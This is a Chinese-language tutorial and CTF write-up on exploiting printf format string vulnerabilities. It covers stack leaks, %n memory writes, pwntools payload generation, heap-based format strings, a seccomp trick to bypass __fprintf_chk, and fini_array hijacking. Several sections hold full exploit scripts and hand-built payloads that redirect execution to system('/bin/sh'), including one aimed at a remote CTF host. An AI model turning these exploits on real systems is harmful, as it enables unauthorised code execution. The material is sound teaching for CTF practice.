基础知识
常见格式化字符串函数
函数 | 基本介绍 |
---|---|
printf | 输出到stdout |
fprintf | 输出到指定FILE流 |
vprintf | 根据参数列表格式化输出到stdout |
vfprintf | 根据参数列表格式化输出到FILE流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
常用格式化字符串形式
%[parameter][flags][field width][.precision][length]type
- parameter:n$ ,获取格式化字符串中的指定第 n 个参数
- flags:在 width 设置后指定可以用来作为填充的内容之类的内容
- field width:输出的最小宽度
- precision:输出的最大长度
- length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
- type
- d/i,有符号整数
- u,无符号整数
- x/X,16进制
- o,8进制
- s,所有字节
- c,char类型单个字符
- p,void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- hhn 写一字节
- hn 写两字节
- n 写四字节
- ln 32位写四字节,64位写八字节
- lln 写八字节
原理验证
示例程序:
#include<stdio.h>
int main() {
char s[100] = "aaaa.%p.%p.%p.%p.%p.%p.%p";
printf(s);
return 0;
}
32位
编译命令:
gcc test.c -g -m32 -o test
输出结果:
aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e
栈结构:
00:0000│ esp 0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│ 0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e
02:0008│ 0xffffcee8 —▸ 0xffffcf2a ◂— 0x0
03:000c│ 0xffffceec —▸ 0x56555595 (main+24) ◂— add ebx, 0x1a3f
04:0010│ 0xffffcef0 —▸ 0xffffcf2a ◂— 0x0
05:0014│ 0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:0018│ eax 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
自上而下依次是参数0~6,参数0为格式化字符串地址,而格式化字符串前4字节又作为参数6(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。
64位
编译命令:
gcc test.c -g -m64 -o test
输出结果:
aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e7025
寄存器:
RAX 0x0
RBX 0x0
RCX 0x555555554770 (__libc_csu_init) ◂— push r15
RDX 0x70
RDI 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RSI 0x7fffffffde78 —▸ 0x7fffffffe21b
R8 0x7ffff7dced80 (initial) ◂— 0x0
R9 0x7ffff7dced80 (initial) ◂— 0x0
R10 0x0
R11 0x0
R12 0x5555555545a0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde70 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RIP 0x555555554747 (main+157) ◂— call 0x555555554580
栈结构:
00:0000│ rdi rsp 0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│ 0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│ 0x7fffffffdd30 ◂— '.%p.%p.%p'
03:0018│ 0x7fffffffdd38 ◂— 0x70 /* 'p' */
04:0020│ 0x7fffffffdd40 ◂— 0x0
由于64位程序先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,因此前6个输出的为寄存器中的值(aaaa
看做是格式化字符串参数),格式化字符串前8个字节作为参数6。
泄露内存
泄露栈变量内存
泄露栈变量的值
获取栈中被视为第
n
+
1
n+1
n+1 个参数的值:%n$x
(%n$p
)
注意:%x
其实只是 %d
的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p
和系统位数关联没有问题,因此建议用 %p
。
泄露栈变量对应对应地址的内容
获取栈中被视为第
n
+
1
n+1
n+1 个参数对应地址的内容:%n$s
泄露任意地址内存
获取地址addr对应的值(addr为第k个参数):addr%k$s
覆盖内存
覆盖内存的原理是 %k$n
可以覆盖第 k 个参数指向的地址为已经输出的字符数量。
注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。
pwntools生成payload
对于格式化字符串payload,pwntools也提供了一个可以直接使用的类Fmtstr,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html,我们较常使用的功能是
fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
offset
表示格式化字符串的偏移numbwritten
表示已经输出的字符个数write_size
表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
注意:部分题目会限制时间,导致pwntools生成的payload失效。一般这一类题目可以通过仅修改低地址等操作减小输出长度,这时需要手动构造payload。
手动构造payload
覆盖小数字
对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。
以数字2为例:aa%k$n[padding][addr]
覆盖大数字
直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn
按字节写或hn
按双字写。
以hhn
写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn
例题:ciscn_2019_sw_1
保护情况:
主程序典型的格式化字符串漏洞。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
init_array
和 fini_array
中存放的函数指针分别在加载和结束时依次调用,且仅在 RELRO
为 NO RELRO
时可以修改。为了多次利用格式化字符串漏洞,需要将 fini_array
修改为 main
函数地址。
第一次执行 main
函数将 fini_array
修改为 main
函数地址,且将 printf@got
修改为 system@plt
。
名称 | 地址 |
---|---|
fini_array | 0x0804979C |
main | 0x08048534 |
printf@got | 0x0804989C |
system@plt | 0x080483D0 |
payload
为:
payload = p32(fini_array+2) + p32(printf_got+2)
payload += p32(printf_got) + p32(fini_array)
payload += "%"+str(0x0804-0x10)+"c" + "%4$hn"
payload += "%5$hn"
payload += "%"+str(0x83D0-0x0804)+"c" + "%6$hn"
payload += "%"+str(0x8534-0x83D0)+"c" + "%7$hn"
第二次执行 main
函数 发送 \bin\sh
获取 shell
。
堆上格式化字符串通用解法
例题:2022 Midnight Sun CTF speed6
存在一个堆上格式化字符串。
unsigned int vuln()
{
char *buf; // [esp+8h] [ebp-10h]
unsigned int canary; // [esp+Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
buf = (char *)malloc(0x100u);
printf("f5b: ");
fgets(buf, 0x100, stdin);
printf(buf);
free(buf);
return __readgsdword(0x14u) ^ canary;
}
main
函数循环调用 call_vuln
函数,而 call_vuln
函数经过多层函数调用最终调用到 vuln
函数。
void __cdecl __noreturn main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
banner();
while ( 1 )
call_vuln();
}
首先通过格式化字符串漏洞我们可以泄露栈地址和 libc 基址。
之后考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。
我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语:
由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语:
有了任意地址读写后就考虑如何劫持程序执行流程。
由于格式化字符串函数在一个死循环里面且格式化字符串漏洞无法再一次循环中写入完整地址,因此不能通过直接栈上写 ROP 的方式劫持程序执行流程。
但是由于本题的 RELRO 保护为 Partial RELRO ,可以改 got 表,并且开启 canary 保护,因此我们可以考虑修改 __stack_chk_fail@got
,然后再修改 canary 调用 __stack_chk_fail
函数劫持程序执行流程。
最直接的方法是在 __stack_chk_fail@got
上写 one_gadget 。不过这里有一个更通用的方法,那就是通过栈迁移到栈上的 ROP 完成 get shell 。
我们利用 IDAPython 脚本在 libc 中搜索合适的栈迁移 gadget 。
import idc
from idaapi import *
import idautils
start_ea = None
end_ea = None
max_len = 10
class Gadget():
def __init__(self, addr, asms, val):
self.addr = addr
self.asms = asms
self.val = val
if __name__ == '__main__':
for seg in idautils.Segments():
if idc.get_segm_name(seg) == '.text':
start_ea = idc.get_segm_start(seg)
end_ea = idc.get_segm_end(seg)
break
assert start_ea != None
fp = open("rop.txt", "w")
gadgets = []
i = start_ea
while i < end_ea:
asm = idc.generate_disasm_line(i, 0).split(";")[0]
if asm.startswith("add esp, "):
asms = [asm.replace(" ", " ")]
val = idc.get_operand_value(i, 1)
j = i + get_item_size(i)
while j < end_ea:
asm = idc.generate_disasm_line(j, 0).split(";")[0]
asms.append(asm.replace(" ", " "))
if len(asms) > max_len: break
if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break
if print_insn_mnem(j) == "push": val -= 4
if print_insn_mnem(j) == "pop": val += 4
if print_insn_mnem(j) == "retn":
gadgets.append(Gadget(i, asms, val))
gadget = Gadget(i, asms, val)
print("val: " + hex(gadget.val))
print(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";")
j += get_item_size(j)
break
j += get_item_size(j)
i = j
else:
i += get_item_size(i)
gadgets = sorted(gadgets, key=lambda gadget: gadget.val)
print("_________________________________________")
print(len(gadgets))
for gadget in gadgets:
fp.write("val: " + hex(gadget.val) + "\n")
fp.write(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";\n")
fp.close()
最终找到了一个可以将 esp 加 0x100 的 gadget 。
0xa08c9 : add esp, 100h; sub eax, edx; retn;
我们只需要再栈迁移的目标地址上利用栈上相对地址写原语写入 ROP 即可。
from pwn import *
elf = ELF("./speed6_patch")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'
p = process([elf.path])
n16 = lambda x: (x + 0x10000) & 0xFFFF
p.sendlineafter("f5b: ", "%2$p||%37$p")
p.recvuntil("0x")
libc.address = int(p.recvuntil("||", drop=True), 16) - libc.sym['_IO_2_1_stdin_']
log.success("libc base: " + hex(libc.address))
stack_addr = int(p.recvuntil("\n", drop=True), 16) - 0x55 * 4
log.success("stack: " + hex(stack_addr))
def arbitrary_offset_write(offset, value):
assert (stack_addr & 0xFFFF) + offset < (1 << 16) and value < (1 << 16)
p.sendlineafter('f5b: ', '%{}c%37$hn'.format((stack_addr + offset) & 0xFFFF))
p.sendlineafter('f5b: ', '%{}c%85$hn'.format(value))
def arbitrary_address_write(address, value):
assert address < (1 << 32) and value < (1 << 16)
arbitrary_offset_write(0x30 * 4, address & 0xFFFF)
arbitrary_offset_write((0x30 * 4 + 2) & 0xFFFF, address >> 16)
p.sendlineafter('f5b: ', '%{}c%48$hn'.format(value & 0xFFFF))
add_esp_ret = libc.search(asm('add esp, 0x100; sub eax, edx; ret;'), executable=True).next()
arbitrary_address_write(elf.got['__stack_chk_fail'], add_esp_ret & 0xFFFF)
arbitrary_address_write(elf.got['__stack_chk_fail'] + 2, add_esp_ret >> 16)
system_addr = libc.sym['system']
bin_sh_addr = libc.search('/bin/sh').next()
arbitrary_offset_write(0x43 * 4, system_addr & 0xFFFF)
arbitrary_offset_write(0x43 * 4 + 2, system_addr >> 16)
arbitrary_offset_write(0x45 * 4, bin_sh_addr & 0xFFFF)
arbitrary_offset_write(0x45 * 4 + 2, bin_sh_addr >> 16)
# gdb.attach(p, 'b *{}'.format(hex(add_esp_ret)))
# pause()
arbitrary_offset_write(0x1c, 0x1) # change canary to call the __stack_chk_fail
p.interactive()
例题:2019 xman format
同样是格式化字符串。
void __cdecl sub_8048651()
{
char *buf; // [esp+Ch] [ebp-Ch]
puts("...");
buf = (char *)malloc(0x100u);
read(0, buf, 0x37u);
call_vuln(buf);
}
但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。
void __cdecl vuln(char *buf)
{
char *v1; // eax
const char *format; // [esp+Ch] [ebp-Ch]
puts("...");
v1 = strtok(buf, "|");
printf(v1);
while ( 1 )
{
format = strtok(0, "|");
if ( !format )
break;
printf(format);
}
}
另外还有一个后门函数。
int backdoor()
{
return system("/bin/sh");
}
由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor
函数地址来 get shell 。
from pwn import *
elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
start = lambda: remote("node4.buuoj.cn", 25559) # process([elf.path])
while True:
global p
try:
p = start()
# gdb.attach(p, "b *0x080485F6\nb *0x8048606")
# pause()
payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
p.sendlineafter('...', payload)
sleep(1)
p.sendline('cat flag')
p.recvline_contains('flag', timeout=1)
p.interactive()
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()
fprintf_chk 绕过
fprintf_chk
执行 %n
会报错,检测逻辑(glibc2.23
)。
LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) { \
if (!readonly_format) { \
extern int __readonly_area(const void *, size_t) \
attribute_hidden; \
readonly_format = __readonly_area(format, ((STR_LEN(format) + 1) * sizeof(CHAR_T))); \
} \
if (readonly_format < 0) \
__libc_fatal("*** %n in writable segment detected ***\n"); \
}
__readonly_area
会通过 fopen
打开 /proc/self/maps
来判断 format
是否是只读段。也就是说只有 format
的内存只读的时候才能有 %n
,从而避免了通过修改 format
实现任意地址写。
int __readonly_area(const char *ptr, size_t size) {
const void *ptr_end = ptr + size;
FILE *fp = fopen("/proc/self/maps", "rce");
if (fp == NULL) {
/* It is the system administrator's choice to not have /proc
available to this process (e.g., because it runs in a chroot
environment. Don't fail in this case. */
if (errno == ENOENT
/* The kernel has a bug in that a process is denied access
to the /proc filesystem if it is set[ug]id. There has
been no willingness to change this in the kernel so
far. */
|| errno == EACCES)
return 1;
return -1;
}
/* We need no locking. */
__fsetlocking(fp, FSETLOCKING_BYCALLER);
char *line = NULL;
size_t linelen = 0;
while (!feof_unlocked(fp)) {
if (_IO_getdelim(&line, &linelen, '\n', fp) <= 0)
break;
char *p;
uintptr_t from = strtoul(line, &p, 16);
if (p == line || *p++ != '-')
break;
char *q;
uintptr_t to = strtoul(p, &q, 16);
if (q == p || *q++ != ' ')
break;
if (from < (uintptr_t) ptr_end && to > (uintptr_t) ptr) {
/* Found an entry that at least partially covers the area. */
if (*q++ != 'r' || *q++ != '-')
break;
if (from <= (uintptr_t) ptr && to >= (uintptr_t) ptr_end) {
size = 0;
break;
} else if (from <= (uintptr_t) ptr)
size -= to - (uintptr_t) ptr;
else if (to >= (uintptr_t) ptr_end)
size -= (uintptr_t) ptr_end - from;
else
size -= to - from;
if (!size)
break;
}
}
fclose(fp);
free(line);
/* If the whole area between ptr and ptr_end is covered by read-only
VMAs, return 1. Otherwise return -1. */
return size == 0 ? 1 : -1;
}
结构体 __IO_FILE
利用 _fileno
存储该文件的文件描述符。
_IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) {
int fdesc;
#ifdef _LIBC
if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
else
fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
fdesc = open (filename, posix_mode, prot);
#endif
if (fdesc < 0)
return NULL;
fp->_fileno = fdesc;
_IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_NO_READS)) {
_IO_off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
if (new_pos == _IO_pos_BAD && errno != ESPIPE) {
close_not_cancel (fdesc);
return NULL;
}
}
_IO_link_in ((struct _IO_FILE_plus *) fp);
return fp;
}
libc_hidden_def (_IO_file_open)
如果控制 seccomp
让 open
函数返回 0 就会使 __readonly_area
程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
即可绕过 %n
检测。
例题:2019 中国技能大赛 pwn2
edit
函数可以编辑 rule
。
unsigned __int64 edit()
{
int v1; // [rsp+0h] [rbp-18h] BYREF
int v2; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
puts("1.modify the rule.");
puts("2.modify the chunk.");
puts("input yout choice: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("input the size");
v2 = 0;
__isoc99_scanf("%d", &v2);
if ( (unsigned int)(v2 - 1) <= 0xDF )
{
puts("input your content");
read(0, rule, v2);
}
}
else if ( v1 == 2 )
{
puts("It's no use.");
}
return __readfsqword(0x28u) ^ v3;
}
set
功能可以把 rule
设应用到沙箱。
unsigned __int64 set()
{
__int16 v1; // [rsp+0h] [rbp-28h] BYREF
void *v2; // [rsp+8h] [rbp-20h]
unsigned __int64 v3; // [rsp+18h] [rbp-10h]
v3 = __readfsqword(0x28u);
prctl(38, 1LL, 0LL, 0LL, 0LL);
v1 = 11;
v2 = rule;
prctl(22, 2LL, &v1);
return __readfsqword(0x28u) ^ v3;
}
add
功能有 __fprintf_chk
的格式化字符串漏洞,并且如果 random_num
的值为 0x30 则可以泄露基址。
unsigned __int64 leak_libc()
{
int v0; // eax
int v1; // ebp
_BYTE v3[1288]; // [rsp+0h] [rbp-528h] BYREF
unsigned __int64 v4; // [rsp+508h] [rbp-20h]
v4 = __readfsqword(0x28u);
memset(v3, 0, 0x500uLL);
v0 = open("/proc/self/maps", 0x80000);
if ( !v0 )
exit(0);
v1 = v0;
read(v0, v3, 0x500uLL);
write(1, v3, 0x500uLL);
close(v1);
puts("\n");
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 add()
{
int v1; // [rsp+4h] [rbp-114h] BYREF
char src[4]; // [rsp+8h] [rbp-110h] BYREF
int v3; // [rsp+Ch] [rbp-10Ch]
__int64 v4; // [rsp+100h] [rbp-18h]
unsigned __int64 v5; // [rsp+108h] [rbp-10h]
v5 = __readfsqword(0x28u);
v3 = 0;
puts("input the size");
__isoc99_scanf("%d", &v1);
global_size = v1;
if ( v1 <= 0 )
{
puts("invalid size");
}
else
{
malloc_node = calloc(v1, 1uLL);
puts("input your content: ");
__read_chk(0LL, (__int64)src, v1, 240LL);
memcpy(malloc_node, src, v1);
__fprintf_chk(stderr, 1LL, src);
__printf_chk(1LL, "The random_num+110 is : %d\n", random_num);
if ( random_num == 0x30 )
leak_libc();
}
return __readfsqword(0x28u) ^ v4;
}
另外 edit
被 patch 过,在函数开头会向栈中 push 全局变量 random_num
的地址,不难想到 random_num
可以被格式化字符串漏洞修改成 0x30 。
.text:0000000000400DCC push offset random_num
.text:0000000000400DD1 nop
.text:0000000000400DD2 nop
.text:0000000000400DD3 nop
.text:0000000000400DD4 nop
.text:0000000000400DD5 nop
首先编写一个沙箱规则使得系统调用 open
在打开 /proc/self/maps
时会返回 0 。
我们可以通过 open
的第一个参数最低字节是否为 \x7c
来判断打开的是不是 /proc/self/maps
。
另外注意沙箱规则中的 ERRNO
是系统调用返回的错误码,这个与直接终止进程的 KILL
是不同的。
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)
利用 seccomp-tools
生成规则。
➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0007: 0x54 0x00 0x00 0x000000ff A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
在调用 __fprintf_chk
时 random_num
位于第 6 个参数,而格式化字符串位于第 2 个参数,因此构造格式化字符串 %16p%16p%16p%ln
可以输出 0x30 个字符且 %ln
恰好对应 random_num
。这样就可以将 random_num
修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open
打开 /proc/self/maps
时会返回 0 ,因此需要在调用 __fprintf_chk
时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
绕过__fprintf_chk
的检查。
后续按照同样的方法修改 free@got
为 system
函数地址完成 getshell 。
fini_array 不可写绕过
if (l->l_info[DT_FINI_ARRAY] != NULL) {
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
//
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
//可以劫持
//先调用array[i],再调用array[i-1]
}
调用的汇编代码如下(ubuntu18.04
).
0x7ff6e56accff <_dl_fini+447> lea r15, [rcx + rdx*8]
;...
0x7ff6e56acd10 <_dl_fini+464> call qword ptr [r15]
rdx 固定为 0 ,rcx 来自下面的代码片段。
0x7ff6e56accda <_dl_fini+410> mov r15, qword ptr [rax + 8] <_DYNAMIC+88>
0x7ff6e56accde <_dl_fini+414> mov rax, qword ptr [r13 + 0x120] <_DYNAMIC+80>
0x7ff6e56acce5 <_dl_fini+421> mov rcx, qword ptr [r13]
0x7ff6e56acce9 <_dl_fini+425> mov rax, qword ptr [rax + 8]
0x7ff6e56acced <_dl_fini+429> add rcx, r15 <__do_global_dtors_aux_fini_array_entry>
r13 的值为一个指针,该指针在 printf
执行的栈上存在,可以控制 [r13]
为 target_ptr - fini_array_addr
从而劫持 fini_array
。